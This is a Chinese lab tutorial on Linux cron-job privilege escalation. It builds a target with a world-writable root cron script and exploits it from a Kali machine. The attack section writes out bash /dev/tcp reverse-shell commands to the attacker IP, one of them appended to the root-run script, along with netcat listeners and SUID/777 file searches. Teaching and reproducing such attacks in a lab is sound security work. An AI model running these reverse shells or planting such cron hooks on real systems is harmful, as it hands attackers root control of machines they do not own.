关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:Linux 计划任务提权原理
Linux 计划任务提权是由于管理员配置不当,导致以 Root 权限运行的计划任务文件可以被低权限用户修改,从而被攻击者利用,导致提权。
假设 Root 用户设置了一个计划任务,但是该任务执行的文件权限没有设置好,比如设置了 777 权限(前两位是不是 7 不重要,主要是第三位是 7 就可以了)或者 SUID 权限之类的,则有可能会被提权。下面这两条命令,可以辅助我们查找这种权限的文件:
find / -user root -perm -4000 -print 2>/dev/null # 查找 SUID 文件 find / -perm 777 -print 2>/dev/null # 查找 777 权限文件
0x0101:知识导入 — 计划任务基础
Linux 中与计划任务相关的命令如下:
crontab -e # 编辑计划任务crontab -l # 查看当前用户的计划任务 => 不同用户编辑的计划任务使用该命令无法查看crontab -r # 删除目前的 crontab
Linux 中可以使用如下命令查看存放计划任务的文件:
ls /etc/cron*
0x0102:知识学习 — Crontab 表达式
对于 Linux 中的计划任务,可以参考下面这个链接去学习:
Linux crontab 命令 | 菜鸟教程Linux crontab 命令 Linux 命令大全 Linux crontab 是 Linux 系统中用于设置周期性被执行的指令的命令。 当安装完成操作系统之后,默认便会启动此任务调度命令。 crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。 注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。 Linux 任务调度的工作主要分为..https://www.runoob.com/linux/linux-comm-crontab.html
https://www.runoob.com/linux/linux-comm-crontab.html
计划任务的定时依赖 Crontab 表达式,好在,有许多在线工具可以辅助你解析或生成 Crontab 表达式,比如下面这个网站:
Cron - 在线Cron表达式生成器通过这个生成器,您可以在线生成任务调度比如Quartz的Cron表达式,对Quartz Cron 表达式的可视化双向解析和生成.https://cron.ciding.cc/
https://cron.ciding.cc/
0x02:Linux 计划任务提权环境搭建
实验环境简介
靶机 CentOS7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
0x0201:靶机创建运维脚本
很多 Linux 管理员都会创建运维脚本以辅助自己进行机器的维护,它们经常会将这些运维脚本设置到计划任务中以定期对系统进行检查。
所以,为了还原场景,我们先以 Root 用户的身份登录靶机,创建一个 /os_check.sh
脚本,脚本内容如下:
注意:复现时别把脚本创建到
/root
用户目录下笔者这里吃亏了,一开始将脚本放到了
/root/os_check.sh
,普通用户根本查看不了/root
目录下的东西,纵使这个东西拥有777
权限。
function os_check() {# "系统基础信息"#内核信息kernel=$(uname -r)#操作系统版本release=$(cat /etc/redhat-release)#主机名称hostname=$HOSTNAME#当前时间及运行时间dateload=$(uptime | awk -F "," '{print $1}')# 当前登录用户数users=$(uptime | awk -F "," '{print $2}')echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txtecho -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txtecho -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt}os_check
创建完成后,我们尝试运行一下,输入下面的命令:
/os_check.sh
如上,是无法直接运行的,因为我们新创建的 .sh
文件还没有赋予 x 可执行权限。
0x0202:为运维脚本赋予不安全的可执行权限
下面我们开始为该文件赋予权限,问题就出在这里,很多管理员很喜欢用下面这条命令赋予可执行权限(这样赋予会导致任意用户都可以修改这个 .sh
文件):
chmod 777 /os_check.sh
赋予完可执行权限后,我们再使用 /os_check.sh
重新运行运维脚本,脚本运行成功后会在 /tmp/bash_os.txt
文件中写入系统状态信息:
/os_check.sh # 运行 .sh 脚本
cat /tmp/bash_os.txt # 查看运行结果
如上,证明我们的运维脚本是可以执行的。
0x0203:将运维脚本添加进计划任务中
输入 vim /etc/crontab
命令编辑 crontab 文件(该文件是计划任务文件,只不过写入该文件中的计划任务所有用户都可以直接查看),写入如下内容:
*/1 * * * * root /os_check.sh # 每分钟以 root 身份执行一次 os_check.sh 脚本
接下来我们只需要等待一分钟后查看 /tmp/bash_os.txt
文件中是否有新的信息,即可验证我们的计划任务是否添加成功:
如上,系统执行了计划任务。至此,提权环境搭建完毕。若等待一分钟后没有执行,可以使用如下两条命令查看计划任务服务的状态:
service crond status # 查看计划任务服务状态
service crond restart # 重启计划任务
0x03:Linux 计划任务提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1
此时回到 Kali 攻击机,可以看到靶机直接上线:
0x0302:查看系统计划任务
输入下面的命令,查看系统中已有的计划任务:
cat /etc/crontab
如上,我们发现,系统会每分钟以 root 用户的身份执行一次 /os_check.sh
文件,我们查看一下该文件的权限:
ls -al /os_check.sh
如上,发现该计划任务脚本的权限是 777,即我们普通用户也有权力修改该文件。
0x0303:更改文件内容进行提权
通过前面的信息收集,我们发现了系统中存在一条计划任务,该任务会每分钟以 Root 身份执行一次 /os_check.sh
文件,我们又发现,对于 /os_check.sh
文件,我们具有修改权限。
所以,使用下面的命令,往 /os_check.sh
文件中追加 Bash 反弹连接的内容:
echo "bash -i >& /dev/tcp/192.168.0.136/8888 0>&1" >> /os_check.sh
然后在攻击机中新开一个窗口,输入下面的连接,监听本机 8888 端口,等待计划任务执行:
nc -lvp 8888
等待一分钟后,靶机中的计划任务运行,就会以 Root 权限执行 /os_check.sh
脚本,顺带运行该脚本中我们插入的 Bash 反弹连接代码,直接将 Root 权限移交给攻击机: